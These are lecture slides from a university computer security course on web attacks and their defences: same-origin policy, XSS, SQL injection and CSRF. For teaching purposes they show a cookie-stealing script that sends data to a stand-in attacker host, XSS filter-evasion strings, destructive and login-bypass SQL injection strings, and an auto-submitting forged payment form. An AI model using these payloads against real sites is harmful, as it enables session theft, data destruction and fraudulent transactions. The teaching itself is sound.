CSE 484: Computer Security and Privacy

Web Security 3

Spring 2024

David Kohlbrenner
dkohlbre@cs

Thanks to Franzi Roesner, Dan Boneh, Dieter Gollmann, Dan Halperin, David Kohlbrenner, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
Logistics

• We’re working through lab1 regrades, it’ll just take a bit
  • If you have a regrade request on gradescope, it will eventually get handled

• Lab 2 is on-going
### Same Origin Policy

**Goal:** Protect/isolate web content from other web content

Website origin = (scheme, domain, port)

<table>
<thead>
<tr>
<th>Compared URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir/page.html">http://www.example.com/dir/page.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com:81/dir/other.html">http://www.example.com:81/dir/other.html</a></td>
<td>Failure</td>
<td>Same protocol and host but different port</td>
</tr>
<tr>
<td><a href="https://www.example.com/dir/other.html">https://www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://en.example.com/dir/other.html">http://en.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir/other.html">http://example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
<tr>
<td><a href="http://v2.www.example.com/dir/other.html">http://v2.www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
</tbody>
</table>

[Example from Wikipedia]
Same-Origin Policy: Scripts

• When a website **includes a script**, that script **runs in the context of the embedding website.**

```html
<script src="http://otherdomain.com/library.js"></script>
```

The code from **http://otherdomain.com** **can** access HTML elements and cookies on **www.example.com**.

• If code in script sets cookie, under what origin will it be set?
• What could possibly go wrong...?
Cross-Site Scripting (XSS)
Echoing / “Reflecting” User Input

naive[.]com/hello.php?name =User

Welcome, dear User
Basic Pattern for Reflected XSS

Injected script can manipulate website to show bogus information, leak sensitive data, cause user’s browser to attack other websites. This violates the “spirit” of the same origin policy.
Stored XSS

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Steal valuable data

Attack server

Server victim

User victim

Users view or download content

Users view or download content

5/3/2024
In all XSS there are 3 actors

- Adversary
- Server victim
- User victim
How might we defend against XSS? - Gradescope

(Think about this from multiple perspectives: if you were 'naive[.]com' or even the browser)

victim’s browser


Forces victim’s browser to call hello.cgi on naive[.]com with this script as “name”

GET/ steal.cgi?cookie=

GET/ hello.cgi?

<HTML>Hello, dear
<script>win.open("http:// evil[.]com/steal.cgi?cookie= +document.cookie")</script>
Welcome!</HTML>

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil[.]com

evil[.]com

Access some web page

GET/ hello.cgi?

Gradescope

CSE 484 - Spring 2024

5/3/2024
Preventing Cross-Site Scripting

• Any user input and client-side data must be preprocessed before it is used inside HTML

• Remove / encode HTML special characters
  • Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  • In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ‘ becomes &#039; “ becomes &quot; & becomes &amp;
  • In ASP.NET, Server.HtmlEncode(string)
Evading Ad Hoc XSS Filters

• Preventing injection of scripts into HTML is hard! → Use standard APIs
  • Blocking “<” and “>” is not enough
  • Event handlers, stylesheets, encoded inputs (%3C), etc.
  • phpBB allowed simple HTML tags like <b>
    `<b c="">” onmouseover="script" x="<b ”>Hello<b>`

• Beware of filter evasion tricks (XSS Cheat Sheet)
  • If filter allows quoting (of <script>, etc.), beware of malformed quoting:
    `<IMG """"<SCRIPT>alert("XSS")</SCRIPT>"`
  • Long UTF-8 encoding
  • Scripts are not only in <script>:
    `<iframe src='https://bank[.]com/login' onload='steal()'>`
MySpace Worm (1)

• Users can post HTML on their MySpace pages
• MySpace does not allow scripts in users’ HTML
  • No <script>, <body>, onclick, <a href=javascript://>
• ... but does allow <div> tags for CSS.
  • <div style="background:url('javascript:alert(1)')">
• But MySpace will strip out “javascript”
  • Use “java<NEWLINE>script” instead
• But MySpace will strip out quotes
  • Convert from decimal instead:
    alert('double quote: ' + String.fromCharCode(34))
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or [make anyone angry]. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  • Was adding 1,000 friends per second at its peak
SQL Injection
Typical Login Prompt
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key " .
"WHERE Username='".$selecteduser."'";
$rs = $db->executeQuery($sql);

What if ‘user’ is a malicious string that changes the meaning of the query?
User Input Becomes Part of Query

Web browser (Client) 

Enter Username & Password 

Web server 

SELECT passwd FROM USERS WHERE uname IS ‘$user’ 

DB
Normal Login

Web browser (Client) → Enter Username & Password → Web server → SELECT passwd FROM USERS WHERE uname IS ‘alicebob’ → DB
Malicious User Input

![Image of a web page with a login form containing malicious input]

The user name field contains a malicious input: `; DROP TABLE USERS; --`. This input is designed to execute a SQL command that would drop the table named `USERS`, which can be used for unauthorized access.

---

5/3/2024  CSE 484 - Spring 2024
SQL Injection Attack

```
SELECT passwd FROM USERS WHERE uname IS ''; DROP TABLE USERS; -- '
```

Eliminates all user accounts
Hi, this is your son's school. We're having some computer trouble.

Oh, dear - did he break something? In a way -

Did you really name your son Robert?; drop table students; --?

Oh, yes. Little Bobby tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.

http://xkcd.com/327/
; DROP TABLE "COMPANIES";-- LTD

http://xkcd[.]com/327/
SQL Injection: Basic Idea

• This is an **input validation vulnerability**
  • Unsanitized user input in SQL query to back-end database changes the meaning of query
• Special case of command injection
Authentication with Backend DB

set UserFound = execute(
    "SELECT * FROM UserTable WHERE
    username=' ' & form("user") & "' AND
    password=' ' & form("pwd") & "' ";

User supplies username and password, this SQL query checks if user/password combination is in the database

If not UserFound.EOF
    Authentication correct
else Fail

Only true if the result of SQL query is not empty, i.e., user/pwd is in the database

(*) remember to hash passwords for real authentication scheme
Using SQL Injection to Log In

• User gives username ‘ OR 1=1 --
• Web server executes query

```
set UserFound=execute(
    SELECT * FROM UserTable WHERE
    username=‘’ OR 1=1 -- ...
);
```

• Now all records match the query, so the result is not empty ⇒ correct “authentication”!

Always true!  Everything after -- is ignored!

• SQL injection attack where attacker asks database series of true or false questions

• Used when
  • the database does not output data to the web page
  • the web shows generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

• SQL Injection vulnerability more difficult to exploit, but not impossible.
Preventing SQL Injection

• Validate all inputs
  • Filter out any character that has special meaning
    • Apostrophes, semicolons, percent, hyphens, underscores, ...
    • Use escape characters to prevent special characters from becoming part of the query code
      • E.g.: escape(O’Connor) = O\’Connor
  • Check the data type (e.g., input must be an integer)

• Same issue as with XSS: is there anything accidentally not checked / escaped?
**Prepared Statements**

```java
PreparedStatement ps = 
    db.prepareStatement("SELECT pizza, toppings, quantity, order_day "
    + "FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParameter("month")));
ResultSet res = ps.executeQuery();
```

- **Bind variables**: placeholders guaranteed to be data (not code)
- Query is parsed without data parameters
- Bind variables are typed (int, string, ...)

Wait, why not do that for XSS?

• “Prepared statements for HTML”?
Data-as-code

- XSS

- SQL Injection

- (Like buffer overflows)
Cross-Site Request Forgery (CSRF/XSRF)
Cookie-Based Authentication Review

Browser

POST/login.cgi

Set-cookie: authenticator

GET...
Cookie: authenticator

Server

response
Browser Sandbox Review

• Based on the same origin policy (SOP)
• Active content (scripts) can send anywhere!
  • For example, can submit a POST request
  • Some ports inaccessible -- e.g., SMTP (email)
• Can only read response from the same origin
  • ... but you can do a lot with just sending!
Cross-Site Request Forgery

• Users logs into bank.com, forgets to sign off
  • Session cookie remains in browser state
• User then visits a malicious website containing
  
  <form name=BillPayForm
    action=http://bank.com/BillPay.php>
    <input name=recipient value=attacker> …
    <script> document.BillPayForm.submit(); </script>
  
• Browser sends cookie, payment request fulfilled!
• Lesson: cookie authentication is not sufficient when side effects can happen
Cookies in Forged Requests

User credentials automatically sent by browser
Impact

• Hijack any ongoing session (if no protection)
  • Netflix: change account settings, Gmail: steal contacts, Amazon: one-click purchase

• Reprogram the user’s home router

• Login to the attacker’s account
  • Why?
XSRF True Story

[Alex Stamos]

CyberVillians.com

Internet Explorer

www.cybervillians.com/news.html

Bernanke Really an Alien?

script

Ticker.stockbroker.com

Java

GET news.html

HTML and JS

HTML Form POSTs

StockBroker.com

Hidden iframes submitted forms that...
• Changed user’s email notification settings
• Linked a new checking account
• Transferred out $5,000
• Unlinked the account
• Restored email notifications
XSRF (aka CSRF): Summary

1. Establish session
2. Visit server
3. Receive malicious page
4. Send forged request

Q: how long do you stay logged on to Gmail? Financial sites?
Broader View of XSRF

• Abuse of cross-site data export
  • SOP does not control data export
  • Malicious webpage can initiates requests from the user’s browser to an honest server
  • Server thinks requests are part of the established session between the browser and the server (automatically sends cookies)
How might you protect against XSRF?

User credentials automatically sent by browser
XSRF Defenses

• Secret validation token

<input type=hidden value=23a3af01b>
Why does adding a magic value to the form from bank.com work?

User credentials automatically sent by browser
XSRF Defenses

- Secret validation token
  
  ![Secret validation token image]

- Referrer validation

  ![Referrer validation image]

  Referer:
  http://www.facebook.com/home.php
Add Secret Token to Forms

• “Synchronizer Token Pattern”

• Include a secret challenge token as a hidden input in forms
  • Token often based on user’s session ID
  • Server must verify correctness of token before executing sensitive operations

• Why does this work?
  • **Same-origin policy**: attacker can’t read token out of legitimate forms loaded in user’s browser, so can’t create fake forms with correct token

<input type=hidden value=23a3af01b>
Referer Validation

• **Lenient** referer checking – header is optional
• **Strict** referer checking – header is required
Why Not Always Strict Checking?

• Why might the referer header be suppressed?
  • Stripped by the organization’s network filter
  • Stripped by the local machine
  • Stripped by the browser for HTTPS → HTTP transitions
  • User preference in browser
  • Buggy browser

• Web applications can’t afford to block these users

• Many web application frameworks include CSRF defenses today